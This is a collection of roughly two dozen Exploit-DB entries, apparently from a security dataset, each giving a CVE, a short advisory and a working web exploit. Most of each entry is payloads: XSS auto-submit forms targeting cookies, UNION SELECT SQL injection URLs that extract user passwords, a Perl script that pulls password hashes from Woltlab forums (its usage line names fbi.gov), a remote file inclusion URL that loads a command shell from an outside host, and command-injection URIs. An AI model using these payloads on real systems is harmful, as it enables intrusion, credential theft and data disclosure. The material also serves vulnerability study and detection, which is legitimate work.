QLWD/code_shield huggingface dataset:
标题: Simple PHP Blog 0.4 - 'preview_cgi.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26461 CVE: 2005-3473 类型: WEBAPPS 平台: CGI 发布日期: 2005-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/15283/info

Simple PHP Blog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script> URL: https://www.exploit-db.com/exploits/26461
标题: Comersus Backoffice 4.x/5.0/6.0 - 'comersus_Backoffice_supportError.asp?error' Cross-Site Scripting EDB-ID: 26444 CVE: 2005-3397 类型: WEBAPPS 平台: ASP 发布日期: 2005-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/15251/info

Comersus BackOfficePlus and BackOfficeLite are prone to multiple input validation and information disclosure vulnerabilities.

The applications are prone to SQL injection attacks, information disclosure and multiple cross-site scripting attacks.

An attacker can exploit these vulnerabilities to retrieve sensitive and privileged information, gain access to the application as an administrative user and perform cross-site scripting attacks to retrieve cookie-based authentication credentials from victim users; other attacks are also possible. 

http://www.example.com/comersus/backofficePlus/comersus_backoffice_supportError.asp?error=<script>alert('vul');</script> URL: https://www.exploit-db.com/exploits/26444
标题: OaBoard 1.0 - 'forum.php' Multiple SQL Injections EDB-ID: 26441 CVE: 2005-3394 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/15245/info

OaBoard is prone to multiple SQL injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/oaboard/forum.php?modul=topics&channel=[SQL]
http://www.example.com/oaboard/forum.php?modul=topics&channel=-99%20UNION%20SELECT%20null,password%20FROM%20pw99_user%20WHERE%20id=1

http://www.example.com/oaboard/forum.php?modul=posting&topic=[SQL]&channel=3
http://www.example.com/oaboard/forum.php?modul=posting&topic=30%20UNION%20SELECT%20null,username,null,password%20FROM%20pw99_user%20WHERE%20id=1/*&channel=3 URL: https://www.exploit-db.com/exploits/26441
标题: PHP 4.x - PHPInfo Cross-Site Scripting EDB-ID: 26442 CVE: 2005-3388 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/15248/info

PHP is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/phpinfo.php?GLOBALS[test]=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/26442
标题: Belchior Foundry vCard Pro 3.1 - 'Addrbook.php' SQL Injection EDB-ID: 26446 CVE: 2005-4769 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/15254/info

vCard PRO is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/fcard/addrbook.php?action=edit&addr_id='[SQL] URL: https://www.exploit-db.com/exploits/26446
标题: Invision Gallery 2.0.3 - 'index.php' SQL Injection EDB-ID: 26438 CVE: 2005-3395 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/15240/info

Invision Gallery is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?automodule=gallery&cmd=sc&cat=26&sort_key=date&order_key=DESC&prune_key=30&st='[SQL] URL: https://www.exploit-db.com/exploits/26438
标题: MG2 0.5.1 - Authentication Bypass EDB-ID: 26436 CVE: 2005-3432 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15235/info

MG2 is affected by an authentication bypass vulnerability. This issue can allow remote attackers to gain access to password protected image galleries.

All versions of MG2 are considered to be vulnerable at the moment. Minigal B13 is likely affected as well.

http://www.exmaple.com/mg2/index.php?list=*&page=all URL: https://www.exploit-db.com/exploits/26436
标题: Snitz Forum 2000 - 'post.asp' Cross-Site Scripting EDB-ID: 26439 CVE: 2005-3411 类型: WEBAPPS 平台: ASP 发布日期: 2005-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/15241/info

Snitz Forum is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/post.asp?method=Topic&FORUM_ID=1&CAT_ID=1&Forum_Title=General+chat&type="><script>alert("PWND")</script> URL: https://www.exploit-db.com/exploits/26439
标题: Elite Forum 1.0 - HTML Injection EDB-ID: 26447 CVE: 2005-3412 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/15257/info

Elite Forum is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible. 

<title>Elite Forum FULL HTML ENjocter-By St@rEXT</title>
<style>
body{background:url(http://img523.imageshack.us/img523/7704/turkeyflag0xuhz9zc7uf0.jpg);
color:#FFFFFF;
font-weight:bold;}
input{
background-color:darkred;
color:#FFFFFF;
font-weight:bold;
}
</style
<form method=POST action="http://site/path/index.php?act=ptopic&fid=1"
target=_blank>
<b><em><h2><b>Elite Forum FULL HTML ENjocter-By
St@rEXT</b></h2></em></b></font>
        <br>

        <b>Your HTML C0de : <br></b>
        <input  size="60" type="text"  name="title"
value='<script>location="http://yourindex.html"</script>'>

        <BR><BR><BR><b>Forum Messages:</b><BR>

        <input cols=2 rows=1 name='post'value='Bug On!!!'><BR><BR><br>
<input type=submit value="Send and Hacked">
        <BR><BR>


        <BR><BR><BR>
        </form> URL: https://www.exploit-db.com/exploits/26447
标题: PHPCafe Tutorial Manager - 'index.php' SQL Injection EDB-ID: 26440 CVE: 2005-3478 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/15244/info

PHPcafe Tutorial Manager is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php/pg/index.php?pg=scripts&CODE=06&id='[SQL]
http://www.example.com/index.php/pg/index.php?pg=scripts&CODE=06&id=-10%20union%20select%20name,name,name%20from%20pc_admins/*
http://www.example.com/index.php/pg/index.php?pg=scripts&CODE=06&id=-10%20union%20select%20name,pass,name%20from%20pc_admins/* URL: https://www.exploit-db.com/exploits/26440
标题: ATutor 1.x - 'print.php?section' Remote File Inclusion EDB-ID: 26433 CVE: 2005-3404 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/15221/info
  
ATutor is prone to multiple vulnerabilities.
  
These issues can allow remote attackers to execute arbitrary PHP commands and carry out local file include and cross-site scripting attacks.
  
ATutor 1.5.1-pl1 and prior versions are affected. 

http://www.example.com/documentation/common/print.php?section=[file]%00 URL: https://www.exploit-db.com/exploits/26433
标题: ATutor 1.x - 'body_header.inc.php?section' Local File Inclusion EDB-ID: 26432 CVE: 2005-3404 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/15221/info
 
ATutor is prone to multiple vulnerabilities.
 
These issues can allow remote attackers to execute arbitrary PHP commands and carry out local file include and cross-site scripting attacks.
 
ATutor 1.5.1-pl1 and prior versions are affected. 

http://www.example.com/documentation/common/body_header.inc.php?section=[file]%00 URL: https://www.exploit-db.com/exploits/26432
标题: Snoopy 0.9x/1.0/1.2 - Arbitrary Command Execution EDB-ID: 26424 CVE: 2005-3330 类型: REMOTE 平台: WINDOWS 发布日期: 2005-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/15213/info

Snoopy is prone to a vulnerability that lets attackers execute arbitrary commands because the application fails to properly sanitize user-supplied input.

This issue may facilitate unauthorized remote access to the application in the context of the webserver. 


https://www.%22;+echo+'hello'+%3E+test.txt

Passing this URI to a script that uses a vulnerable version of Snoopy will result in a file called 'test.txt' containing 'hello'. URL: https://www.exploit-db.com/exploits/26424
标题: ATutor 1.x - 'forum.inc.php' Arbitrary Command Execution EDB-ID: 26431 CVE: 2005-3405 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/15221/info

ATutor is prone to multiple vulnerabilities.

These issues can allow remote attackers to execute arbitrary PHP commands and carry out local file include and cross-site scripting attacks.

ATutor 1.5.1-pl1 and prior versions are affected. 

http://www.example.com/include/html/forum.inc.php?addslashes=[function]&asc=[parameter]
http://www.example.com/include/html/forum.inc.php?addslashes=[function]&desc=[parameter] URL: https://www.exploit-db.com/exploits/26431
标题: ASP Fast Forum - 'error.asp' Cross-Site Scripting EDB-ID: 26435 CVE: 2005-3422 类型: WEBAPPS 平台: ASP 发布日期: 2005-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/15233/info

ASP Fast Forum is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forum/error.asp?error=[XSS] URL: https://www.exploit-db.com/exploits/26435
标题: GCards 1.43 - 'news.php' SQL Injection EDB-ID: 26427 CVE: 2005-3408 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/15216/info

gCards is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/ecards1/news.php?limit=%2527 URL: https://www.exploit-db.com/exploits/26427
标题: Novell ZENworks Patch Management 6.0.52 - '/reports/default.asp' Multiple SQL Injections EDB-ID: 26430 CVE: 2005-3315 类型: WEBAPPS 平台: ASP 发布日期: 2005-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/15220/info
 
ZENworks Patch Management is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
It should be noted these vulnerabilities can only be exploited if a non-privileged account has been created. Only an administrator can create such an account.

http://www.example.com/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc&SearchText=';StatusFilter=ERRR&computerFilter=187&impactFilter=29&saveFilter=save&Page=rep
http://www.example.com/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc&SearchText=CIRT.DK&StatusFilter=';&computerFilter=187&impactFilter=29&saveFilter=save&Page=rep
http://www.example.com/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc&SearchText=CIRT.DK&StatusFilter=ERRR&computerFilter=';&impactFilter=29&saveFilter=save&Page=rep URL: https://www.exploit-db.com/exploits/26430
标题: Woltlab 1.1/2.x - 'Info-DB Info_db.php' Multiple SQL Injections EDB-ID: 26425 CVE: 2005-3369 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/15214/info

Info-DB is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

#!/usr/bin/perl -w

## Woltlab Burning Board <= 2.3.3 info_db.php SQL injection
##
## This perl script will fetch the MD5 hash from any wbb that is running with info_db.php
##
##
## 
##
##
##
## written by [R]
## greetz fly out to the whole rootbox/batznet crew!
##



use LWP::Simple;
use strict;
use warnings;


my $target = $ARGV[0];
my $userid = $ARGV[1];
my $exploit = "/info_db.php?action=file&fileid=-1%20UNION%20SELECT%20password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password%20FROM%20bb1_users%20WHERE%20userid=$userid/*";

# different way of exploiting, see adv.. ;)
# my $exploit = "/info_db.php?action=file&fileid=59&subkatid=10'%20UNION%20SELECT%20password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password,password%20FROM%20bb1_users%20WHERE%20userid=$userid/*";

if ($target eq "" && $userid eq "") {
print "\nWoltlab Burning Board <= 2.3.3 info_db.php SQL injection\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "\nUsage:\n";
print "perl $0 [TARGET] [USERID]\n";
print "perl $0 fbi.gov/path/ 1\n\n";
exit();
}


print ("\n[+] Trying to exploit the target...");
sleep(10);
print ("\n[+] Ok - should be exploited!\n");
sleep(5);


my $hash = get "http://www.$target/$exploit";


$hash =~ s/<.*?>//sg; # clean the whole html code
$hash =~ s!\ !!g; # clean  
$hash =~ s/�//g; # clean �

print ("\n[+] Successfully exploited!\n");
print ("\n");

print ("[+] MD5 Hash: ");
print $hash =~ m/\b(\w{32})\b/;  # get the hash
print ("\n\n");


exit();

# batznet-security.de && batznet.com URL: https://www.exploit-db.com/exploits/26425
标题: Novell ZENworks Patch Management 6.0.52 - '/computers/default.asp?Direction' SQL Injection EDB-ID: 26429 CVE: 2005-3315 类型: WEBAPPS 平台: ASP 发布日期: 2005-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/15220/info

ZENworks Patch Management is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

It should be noted these vulnerabilities can only be exploited if a non-privileged account has been created. Only an administrator can create such an account.

http://www.example.com/computers/default.asp?sort=&Direction='; URL: https://www.exploit-db.com/exploits/26429
标题: PHP-Nuke Search Enhanced Module 1.1/2.0 - HTML Injection EDB-ID: 26428 CVE: 2005-3368 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/15218/info

Search Enhanced module for is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

<html>
<form name=searchform method=post action=http://www.example.com/modules.php?name=Search_Enhanced>
<input type="text" name="query" size="15" value='<script src=http://[location]/js.js></script>'>
<input type=submit name=sub>
<script>document.searchform.sub.click()</script>
</html> URL: https://www.exploit-db.com/exploits/26428
标题: Elemata CMS RC3.0 - 'global.php?id' SQL Injection EDB-ID: 26416 CVE: 2013-4952 类型: WEBAPPS 平台: PHP 发布日期: 2013-06-24 漏洞利用脚本: # Exploit Title   : Elemata CMS RC3.0 SQL Injection
# Date            : 23 June 2013
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://www.elemata.com/
# Software Link   : http://jaist.dl.sourceforge.net/project/elematacms/Elemata%203.x/ElemataRC3.0.zip
# Version         : RC 3.0
# Tested on       : Window and Linux
   
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /       
  / XXXXXX /
 (________(         
  `------'
   
##############################
VULNERABILITY: SQL Injection
##############################
   
/functions/global.php (LINE: 24-30)
   
-----------------------------------------------------------------------------  
function e_meta($id)
{
   include ("Connections/default.php");
   mysql_select_db($database_default, $default);
   $query_meta = "SELECT * FROM posts WHERE id = '$id'";
   $meta = mysql_query($query_meta, $default) or die(mysql_error());
   $row_meta = mysql_fetch_assoc($meta);
-----------------------------------------------------------------------------      
   
#####################################################
DESCRIPTION FOR SQL INJECTION
#####################################################
   
An attacker might execute arbitrary SQL commands on the database server with this vulnerability.
User tainted data is used when creating the database query that will be executed on the database management system (DBMS).
An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system
depending on the query, DBMS and configuration.
  
POC:
  
http://http://localhost/elemata/?id=-1%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,concat%28user%28%29,0x3a3a,version%28%29,0x3a3a,database%28%29%29,NULL,NULL,NULL,NULL--+

Then View Source !!   
   
################################################################################################################
 Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################ URL: https://www.exploit-db.com/exploits/26416
标题: Top Games Script 1.2 - 'play.php?gid' SQL Injection EDB-ID: 26405 CVE: 2013-4953 类型: WEBAPPS 平台: PHP 发布日期: 2013-06-24 漏洞利用脚本: TopGamesScript-v1.2 (play.php) Sql Injection Vulnerability
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST
.:. Contact        : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         :
http://sourceforge.net/projects/gamesscript/files/latest/download?source=directory
.:. Dork           : inurl:"play.php?gid=" "Powered By TopGames.ws"
####################################################################

######################################
VULNERABILITY: CLASSIC MYSQL INJECTION
######################################

/play.php (LINE: 4-19)

-----------------------------------------------------------------------------
 $gameID= $_GET['gid'];

$con = mysql_connect($dbserver,$dbuser,$dbpassword);
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }

mysql_select_db($dbname, $con);

$sqlselect="SELECT * FROM games WHERE gameid=" . $gameID;
$result = mysql_query($sqlselect);

$row = mysql_fetch_array($result);
$gwidth =  $row['width'];
$gheight = $row['height'];

-----------------------------------------------------------------------------

#####################################################
EXPLOIT
#####################################################

http://localhost/TopGamesScript/play.php?gid=null and 1=2 UNION SELECT
1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23


#################################################################### URL: https://www.exploit-db.com/exploits/26405
标题: Belchior Foundry VCard 2.9 - Remote File Inclusion EDB-ID: 26399 CVE: 2005-3332 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/15207/info

vCard is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

http://www.example.com/vCard/admin/define.inc.php?match=http://www.example.com/cmd.gif?&cmd=id URL: https://www.exploit-db.com/exploits/26399